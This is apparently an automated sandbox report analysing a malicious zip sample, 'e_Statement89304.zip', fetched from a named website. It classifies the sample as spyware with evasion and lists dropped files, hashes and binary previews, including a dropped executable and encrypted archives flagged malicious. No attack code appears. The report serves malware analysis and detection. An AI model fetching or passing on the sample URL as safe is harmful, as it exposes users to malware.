                    Start date and time:2024-07-01 22:14:08 +02:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:defaultwindowsinteractivecookbook.jbs
                    Sample URL:https://starurileromaniei.ro/e_Statement89304.zip
                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                    Number of analysed new started processes analysed:49
                    Number of new started drivers analysed:1
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • EGA enabled
                    Analysis Mode:stream
                    Analysis stop reason:Timeout
                    Detection:MAL
                    Classification:mal80.spyw.evad.win@92/344@12/131
                    • Exclude process from analysis (whitelisted): svchost.exe
                    • Excluded IPs from analysis (whitelisted): 142.250.186.131, 108.177.15.84, 142.250.185.142, 34.104.35.123
                    • Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, clientservices.googleapis.com, clients.l.google.com
                    • Not all processes where analyzed, report is missing behavior information
                    • Report size getting too big, too many NtCreateKey calls found.
                    • Report size getting too big, too many NtSetInformationFile calls found.
                    • Skipping network analysis since amount of network traffic is too extensive
                    • VT rate limit hit for: https://starurileromaniei.ro/e_Statement89304.zip
                    Process:C:\Windows\System32\svchost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1310720
                    Entropy (8bit):0.8168791678997752
                    Encrypted:false
                    SSDEEP:
                    MD5:0E2B96BAEEE003B956F5D05A3CAAA10E
                    SHA1:C73A0288EDC35268DCCCF9B2690530D3CB6465AE
                    SHA-256:D0E59F029B832C1CB84F0DC5C3CE0B4B8A22B7AC1E6F6AFEB14FACB68BFAC0A3
                    SHA-512:7D6FF2CDCECA653E59B6FB2FA7ADD3BAFF3987085532E0E223BA62F8D782D75E8885CBC8D6A0BAE2B4DF0368CD9B011FA139A34D2CFDAED490559E58D173EDAD
                    Malicious:false
                    Reputation:unknown
                    Preview:..6.........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................d6d6.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................
                    Process:C:\Windows\System32\svchost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):16384
                    Entropy (8bit):0.08206450048873956
                    Encrypted:false
                    SSDEEP:
                    MD5:E6D6E8674624D1D948B0FAADD6264415
                    SHA1:7828FAD98A9122B2237C76FA8040411C7D5D18AD
                    SHA-256:373248EFDEC292E0A5D9C8C9B39803AA5251B96D8AA3A42AFB82DF5DCDFC657E
                    SHA-512:582FEB57F67634E60E478B879C33CDE59076E1C2791A23320CB1095699D9EFCAF6B4C62A2345380AF3B013A027017553CE8458F4FDB777E74E497BCC2CC04198
                    Malicious:false
                    Reputation:unknown
                    Preview:W.......................................;...{..)....|... ...{........... ...{... ...{..#.#.. ...{.|....................)....|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:data
                    Category:modified
                    Size (bytes):9434
                    Entropy (8bit):4.928515784730612
                    Encrypted:false
                    SSDEEP:
                    MD5:D3594118838EF8580975DDA877E44DEB
                    SHA1:0ACABEA9B50CA74E6EBAE326251253BAF2E53371
                    SHA-256:456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
                    SHA-512:103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
                    Malicious:false
                    Reputation:unknown
                    Preview:PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):17156
                    Entropy (8bit):5.4378533375968585
                    Encrypted:false
                    SSDEEP:
                    MD5:1917E3E64D055E7E45208FA96152A3D2
                    SHA1:3A58E153DC0AA24FAA10A68B65BAA10A00E6D22E
                    SHA-256:829477E9608BE1EDA6DBBCC116BDE96A27FAD98853AE6ABFBB429686804B9072
                    SHA-512:8450CFD3F08EB975A087DA6DFB86130F8DADEB59C5E219CE31788B2A2DD57BA9C1D364CEE38E656F399C2BCA60CD670739582E42C40ECCF8D0EF1C1665590ECE
                    Malicious:false
                    Reputation:unknown
                    Preview:@...e................................................@..........H...............o..b~.D.poM...:..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.....F.......System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.,.....%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text, with no line terminators
                    Category:dropped
                    Size (bytes):60
                    Entropy (8bit):4.038920595031593
                    Encrypted:false
                    SSDEEP:
                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                    Malicious:false
                    Reputation:unknown
                    Preview:# PowerShell test file to determine AppLocker lockdown mode
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jul 1 19:14:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2673
                    Entropy (8bit):3.9911195323221857
                    Encrypted:false
                    SSDEEP:
                    MD5:A88DEE0DA201C4C1DCF33959D09BBB1C
                    SHA1:23B87EFE1290E621A5EF1069FEDB3B4D1AD87E17
                    SHA-256:10B8B4CE86B40CD2BAC9FF0751A7AE9D192F6E12F327AF401B22E4FB8F66598A
                    SHA-512:A88B78ED0B13CC7FF304EA76BA4A11549399BA230B39C9936EC88C4DC32BE78FB93144E336950072777A89D6B3AEA8B162926BE803044373526AAB48ED408268
                    Malicious:false
                    Reputation:unknown
                    Preview:L..................F.@.. ...$+.,...."..K....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jul 1 19:14:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2675
                    Entropy (8bit):4.006103543019775
                    Encrypted:false
                    SSDEEP:
                    MD5:D14D9C0F38EC10FB73878E2F290D39F5
                    SHA1:D2D31735FA0CCB4419698D3C637BECA61A048A26
                    SHA-256:8B11DB650C368B2B785D9FF0E08CF06B7882DF14B5486CF6169C38931B058C79
                    SHA-512:D1C3BD163DE646D2BB461155A0B2B484ACBF27072A2DEB434003004B5528F4C0E55F5A31B7584856481F7DF3540FF56BEE5B2DC72F44BD7BCF2AEDCF274A0E34
                    Malicious:false
                    Reputation:unknown
                    Preview:L..................F.@.. ...$+.,.....sK....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2689
                    Entropy (8bit):4.01264092845677
                    Encrypted:false
                    SSDEEP:
                    MD5:8D989DA484F87B6C006D5178118FFEE8
                    SHA1:B16C22C7A13E77209E6F4634412634C5952494F2
                    SHA-256:3F5E760D5C8DD58591F20F93FA4C303B4D59A95458922E18893CEFDDE16A2D1D
                    SHA-512:762C9D46A14A41B98C51683D3B18E6840585FCC019364B6DC99FEE796917E4AA1823FDA8B610CEB6738E70603028274D479B42BDFA94C6C9631F091688ED66ED
                    Malicious:false
                    Reputation:unknown
                    Preview:L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jul 1 19:14:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2677
                    Entropy (8bit):4.001046087588043
                    Encrypted:false
                    SSDEEP:
                    MD5:FE0D74F26A96AEEBDA9A1F93204C1535
                    SHA1:C5DC28B7024D4DD3A7BE91C682697EE67E3C2E39
                    SHA-256:9D02077F9E7CF677C25A8792FE04D3097FE6F273C4E96E29B91A0D1FD7680BB2
                    SHA-512:52F6BEB7CD2AAE78CAE017B16C93BAC6C2BC045AD4F8A3F12652ED9A8929B3157A22F8BADC36A5FDF17C1BA84B3546D9BA6B905D42EBD7B49A51626BA549DFC7
                    Malicious:false
                    Reputation:unknown
                    Preview:L..................F.@.. ...$+.,....a.nK....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jul 1 19:14:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2677
                    Entropy (8bit):3.994112047133903
                    Encrypted:false
                    SSDEEP:
                    MD5:B4C507469ECA40304540863139F186E9
                    SHA1:35D56BC9231E263530430973DF6CBE37ABE2E8FB
                    SHA-256:13B34C21CBBA1F75CAE39B733C972C690A4AE8F05482D0572CC3E8477A7CA143
                    SHA-512:90B38B5752D654E9C760FEE282C19C667C34FA69250A713CC3401C8D8DC13D53F515ED0B958E896D645763FC84DBE783C39E6017E36FDCAB6E2EBCC98D302457
                    Malicious:false
                    Reputation:unknown
                    Preview:L..................F.@.. ...$+.,.....`{K....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jul 1 19:14:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2679
                    Entropy (8bit):4.000671250357565
                    Encrypted:false
                    SSDEEP:
                    MD5:9DEF9A1BE744DAB89245A623881CF706
                    SHA1:35471FDB0D6E76A20E6A1B6205FDE4FF5FC0B790
                    SHA-256:45262224FEF9EF2D59482B1879D435A1BCAC48C0EACED85D4598972109DBEE97
                    SHA-512:FBA54646A19F1E7B2A2A0C173AA2B90729E563AAB4CB1A80DF5B0486B5A15220624A36C1CCFB97074303A17749AF454CE648C399F61A5DC5D5826C2163C10868
                    Malicious:false
                    Reputation:unknown
                    Preview:L..................F.@.. ...$+.,....O.eK....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............K.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                    Category:dropped
                    Size (bytes):293
                    Entropy (8bit):6.253378410013944
                    Encrypted:false
                    SSDEEP:
                    MD5:12AD786F21847C1283B5E97561370CB9
                    SHA1:E8EFE08E4682DE038084B37F998B9F87AD1980F1
                    SHA-256:AA6AC346B276F2A49B7899AC02A4EC109B5C92D1AC262C8A331E21E976158E88
                    SHA-512:BDB1759388E0F3C247FF29D6DFC88F2F6D6AA102EC4876497F884345D7B6572A21DE12205E1CB035B2A5D188549E87E16D84E079D6F4E2ABBBC7B06997B84FB6
                    Malicious:false
                    Reputation:unknown
                    Preview:PK.........1.X.h............e_Statement89304.url5.A..0......fI` .yH..Jx..j..O.OI...P=......<.(.....`..s..u...A.f...:.l7_,....f....Z.F:.<.i....,K...m9<'.:J..Da.X.(9.....J..b.z;.f...o_..{.9..V../|J>PK...........1.X.h.................. .......e_Statement89304.urlPK..........B.........
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:Zip archive data, at least v2.0 to extract, compression method=store
                    Category:dropped
                    Size (bytes):13690
                    Entropy (8bit):7.979265496360802
                    Encrypted:false
                    SSDEEP:
                    MD5:6BDA7B10E508F3E85605145E609F4B6B
                    SHA1:12ADBAEDEFE9AEF24BEDF3D7A19B48E261F8F2F3
                    SHA-256:F6283D39820294ADF3CA9A4EC8D0D5BD7847EC342E88533AC6687123A886B429
                    SHA-512:A88C1AC0CD8B54F105999242F55893E0434E48822987451DE158A04DE14CC99E870F9C803694936E733A655BCB99B01AFBBA4A92C99D0FC1449CB9EC7EEA0407
                    Malicious:false
                    Reputation:unknown
                    Preview:PK...........X................Python/Launcher/PK........Vv.Xn...44..........Python/Launcher/py.exe.{|.E...L..Cz....!@.h.#.H...$*..1...X..8."tC\..;....rwau....]v....$....<.1..(..]t+.j........$.{.......q.tWW.:u....).k..(....t]..../W.....AH..Z..c.{..,s..ug......w...L...z.a)..e.....{(}......^.l..!.2..+'O.3.t.H.........e#^d..G\...G.F8.......{n|wd6.[8b..p.,....p..oG..].y.}?.`;..'.W..X......f^..`.lI.F.<A...dy)A.8./..[......y...s;?..|.]...6v...M-..R.J.....[..`.u#.....P.F.p.......w...m......eU....L..a_.}a..a...K.$.H..</...+.......9....6(..}.Ep...W,.1.y_A.....K.[......<.\p....7S......u.og...c..:.>......u.....u.F[t.Wi.....A.."..5....b..?.^x'.w.U*bU.X.EW....bA}|.>.].........E.%P..7.c.=.NlP[i..Qu...N..8|.M..t.. l..f..}jm......>._*.>...v....p...P/...t}..#..Yi.C]bAG.k.<}.b.x..*.l.M.,.=.....k(,9..em.VLp.+T(.u..V(.3l.4.j.|z.....a........bh.:A;Aq......S.-.O. .Od[).....[G.Q...@....}z...p:.b.t. ..f.`F....~|...&u= ..U..P....f........F\...G/..)...c....&.?3...
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:Zip archive data, at least v2.0 to extract, compression method=store
                    Category:dropped
                    Size (bytes):41735168
                    Entropy (8bit):7.939063663649786
                    Encrypted:false
                    SSDEEP:
                    MD5:FB26CD5D1AA8FDFC6C3146ECC107B9FA
                    SHA1:1C18D9D012789B8A24D7539F14CA12BDA7626F73
                    SHA-256:13E731BEBB05B16329CE35B9328B7353DC75F0D9282E7BF485377B435B8AA7FC
                    SHA-512:7DF312A9FA500299AE80BCC23F933488C21987C7B6A49C941979CC131DDD4AEAD844DD9091B92E90F56930984D272E38F6B3DD2596FC7D155F41276BFD204B16
                    Malicious:false
                    Reputation:unknown
                    Preview:PK...........X................Python/Launcher/PK........Vv.Xn...44..........Python/Launcher/py.exe.{|.E...L..Cz....!@.h.#.H...$*..1...X..8."tC\..;....rwau....]v....$....<.1..(..]t+.j........$.{.......q.tWW.:u....).k..(....t]..../W.....AH..Z..c.{..,s..ug......w...L...z.a)..e.....{(}......^.l..!.2..+'O.3.t.H.........e#^d..G\...G.F8.......{n|wd6.[8b..p.,....p..oG..].y.}?.`;..'.W..X......f^..`.lI.F.<A...dy)A.8./..[......y...s;?..|.]...6v...M-..R.J.....[..`.u#.....P.F.p.......w...m......eU....L..a_.}a..a...K.$.H..</...+.......9....6(..}.Ep...W,.1.y_A.....K.[......<.\p....7S......u.og...c..:.>......u.....u.F[t.Wi.....A.."..5....b..?.^x'.w.U*bU.X.EW....bA}|.>.].........E.%P..7.c.=.NlP[i..Qu...N..8|.M..t.. l..f..}jm......>._*.>...v....p...P/...t}..#..Yi.C]bAG.k.<}.b.x..*.l.M.,.=.....k(,9..em.VLp.+T(.u..V(.3l.4.j.|z.....a........bh.:A;Aq......S.-.O. .Od[).....[G.Q...@....}z...p:.b.t. ..f.`F....~|...&u= ..U..P....f........F\...G/..)...c....&.?3...
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:Zip archive data, at least v2.0 to extract, compression method=store
                    Category:modified
                    Size (bytes):45880037
                    Entropy (8bit):7.995381651285817
                    Encrypted:true
                    SSDEEP:
                    MD5:0DA6525058E3914E72CF3026F8D29E30
                    SHA1:5335B1272EFEA30BB5851DEA85887A2FB49EE261
                    SHA-256:9AE3121F0558CE81F4B2B78FAD5267A07DA0C14763D724810E51B8F748C2BAFD
                    SHA-512:7FF844AFE4897D90843FE6ABEF28662DC58505701FDC4D011C2F84F9F40B6AA472C2444FFB79F88818B8B6BC3BC7D35674F18E06E6AA3524FDC4ACC8AED58024
                    Malicious:true
                    Reputation:unknown
                    Preview:PK...........X................Python/Launcher/PK........Vv.Xn...44..........Python/Launcher/py.exe.{|.E...L..Cz....!@.h.#.H...$*..1...X..8."tC\..;....rwau....]v....$....<.1..(..]t+.j........$.{.......q.tWW.:u....).k..(....t]..../W.....AH..Z..c.{..,s..ug......w...L...z.a)..e.....{(}......^.l..!.2..+'O.3.t.H.........e#^d..G\...G.F8.......{n|wd6.[8b..p.,....p..oG..].y.}?.`;..'.W..X......f^..`.lI.F.<A...dy)A.8./..[......y...s;?..|.]...6v...M-..R.J.....[..`.u#.....P.F.p.......w...m......eU....L..a_.}a..a...K.$.H..</...+.......9....6(..}.Ep...W,.1.y_A.....K.[......<.\p....7S......u.og...c..:.>......u.....u.F[t.Wi.....A.."..5....b..?.^x'.w.U*bU.X.EW....bA}|.>.].........E.%P..7.c.=.NlP[i..Qu...N..8|.M..t.. l..f..}jm......>._*.>...v....p...P/...t}..#..Yi.C]bAG.k.<}.b.x..*.l.M.,.=.....k(,9..em.VLp.+T(.u..V(.3l.4.j.|z.....a........bh.:A;Aq......S.-.O. .Od[).....[G.Q...@....}z...p:.b.t. ..f.`F....~|...&u= ..U..P....f........F\...G/..)...c....&.?3...
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:Zip archive data, at least v2.0 to extract, compression method=store
                    Category:modified
                    Size (bytes):29445576
                    Entropy (8bit):7.999178630830287
                    Encrypted:true
                    SSDEEP:
                    MD5:B6F493ED02F3EFDB885A3DE46602F85E
                    SHA1:FE2824C31C2343D7F52658CAE8AE6606D08CF269
                    SHA-256:64F639B7137303AABCF2FC3686A0160A5A48E1A0A05EC08128182011ACE18E30
                    SHA-512:0836E58FD752ADC9028AF703D4558937541C69503BEFD2644696BFAD82967B8950D16F255DC3B9B04CF647F1951A01F70062EBED9BF01C592A7992F40870007D
                    Malicious:true
                    Reputation:unknown
                    Preview:PK.........B.X................Print/Launcher/PK........Vv.Xn...44..........Print/Launcher/py.exe.{|.E...L..Cz....!@.h.#.H...$*..1...X..8."tC\..;....rwau....]v....$....<.1..(..]t+.j........$.{.......q.tWW.:u....).k..(....t]..../W.....AH..Z..c.{..,s..ug......w...L...z.a)..e.....{(}......^.l..!.2..+'O.3.t.H.........e#^d..G\...G.F8.......{n|wd6.[8b..p.,....p..oG..].y.}?.`;..'.W..X......f^..`.lI.F.<A...dy)A.8./..[......y...s;?..|.]...6v...M-..R.J.....[..`.u#.....P.F.p.......w...m......eU....L..a_.}a..a...K.$.H..</...+.......9....6(..}.Ep...W,.1.y_A.....K.[......<.\p....7S......u.og...c..:.>......u.....u.F[t.Wi.....A.."..5....b..?.^x'.w.U*bU.X.EW....bA}|.>.].........E.%P..7.c.=.NlP[i..Qu...N..8|.M..t.. l..f..}jm......>._*.>...v....p...P/...t}..#..Yi.C]bAG.k.<}.b.x..*.l.M.,.=.....k(,9..em.VLp.+T(.u..V(.3l.4.j.|z.....a........bh.:A;Aq......S.-.O. .Od[).....[G.Q...@....}z...p:.b.t. ..f.`F....~|...&u= ..U..P....f........F\...G/..)...c....&.?3...Bh
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                    Category:dropped
                    Size (bytes):766232
                    Entropy (8bit):6.46742031055219
                    Encrypted:false
                    SSDEEP:
                    MD5:79EAE4FA8DD7E1CA489E59AB19B4FBED
                    SHA1:48EB42D40490AC4CE6C30245C631CC24718601C9
                    SHA-256:E52553F941CEB9E715D239E7A211501CE5D6096EEEB90FB161B7BFEDF6A61DAB
                    SHA-512:F8AE33F15F9FA00C7B5786119C452722EDEB9FA39350E7087CD86CE732BBD0571DBE2C9B96ED813770E9401BF4BED53362659D763BE66C85A68FA912DCB3C625
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
